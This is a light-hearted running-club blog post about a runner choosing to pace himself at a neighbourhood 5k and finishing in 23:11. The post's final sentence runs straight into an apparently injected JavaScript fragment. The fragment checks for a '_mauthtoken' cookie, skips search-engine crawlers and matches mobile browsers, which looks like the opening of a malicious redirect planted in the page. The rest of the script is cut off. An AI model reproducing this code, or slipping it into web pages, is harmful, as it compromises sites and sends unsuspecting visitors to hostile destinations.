Cabbagetown Run Club: A weekend warrior comes of age

I have a tried and true method to running a 5k which I have employed in every one I have ever run.  It starts with worming my way up to front of the pack at the starting line and taking off at breathtaking speed.  The adrenaline gets pumping, I get competitive, I run like I think I should be able to and then I hold on for dear life. Then I wait to see what happens.

What happens is always the same thing–I become exhausted.  Who knew??  I’m generally a 20 minute 5k guy, plus or minus 30 seconds but my splits will be all over the place. The first mile is always in the 6:15 range, the second mile will be 6:30 and the third will be 7:15 or worse.  A technical runner I am not.

The guys who finish before me will generally look like they just completed a 100 meter wind sprint.  They catch their breath in about a breath or two and then they wipe the single bead of sweat off of their forehead before congratulating their counterparts on a good race.
By time my I drag my butt across the finish line the first aid station is radioing the ambu-helicopter.  The five pounds of sweat that has left my body is now being soaked up by my “techwicking” shirt in a manner that would make Madge and the quicker-picker-upper folks proud.  The only thing that distracts me from the burning in my legs and lungs is the anxiety over whether or not my nipples are bleeding.

The intelligence behind this racing modus operandi is questionable at best.  Sure, I’ve gone home a few times with a trinket/trophy stating that I placed in my age group in smaller races which is just swell but I have a family history of heart disease that probably doesn’t need to be double-dared at neighborhood 5ks, right?

So on Saturday I made the historic decision to NOT do this to myself at the East Atlanta Village  Strut 5k.  I hadn’t attempted to run a race pace in a good while so trying to do so was setting myself up for failure, or worse…  So when the starting line was forming I resisted the urge to wiggle to the front.  Schulzie, Betsy, Benzie (right) and I hung back and shuffled along with the rest of the herd, taking some 15 seconds or so just to reach the starting line.  The first mile was practically a different sport.  We jogged, zigged, zagged, talked and laughed.  I didn’t even notice the mile marker and I didn’t care either.  So mature!!

Soon enough I was feeling a little more spry and started targeting friends who were ahead of me to catch up to.  First there was BLynch who would go on to win his own biathlon (the first half of the event involved several adult beverages the night before…).  He was holding steady at that point but miles two and three were bound to bring a higher degree of uncertainty so I wished him well and forged ahead.

I caught up to a bunch of friends from FitWit boot camp and enjoyed a quick word or two with each.  Under normal circumstances I wouldn’t even think of expending energy on conversation but this was a new day.  I finished the last mile or so with a 12 year old kid who was dominating his division.  We didn’t talk but I drew inspiration from his grit.  The pack was pretty thin at this point so I convinced myself that I was helping him finish strong.  With about a quarter mile left I gave him a quick pep talk about kicking it to the finish.  He said nothing but darted ahead like there was a free Xbox at the finish line.  I couldn’t have caught him if I tried.

So I finished in a pedestrian 23:11, well behind Cabbagetown Run Club’s very own Matt Berry (left) who posted ~21:00 and took 5th overall (Go Matt!!).  I enjoyed the rare occasion to be the finisher who was not doubled over in agony.   But I’d be lying if I said there wasn’t part of me wondering where I would have finished if I had taken the idiot route.  Maybe when I turn 40 I’ll quit taking myself seriously out there.  Then again, when I turn 40 I’ll be on the young end of my age group…if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a 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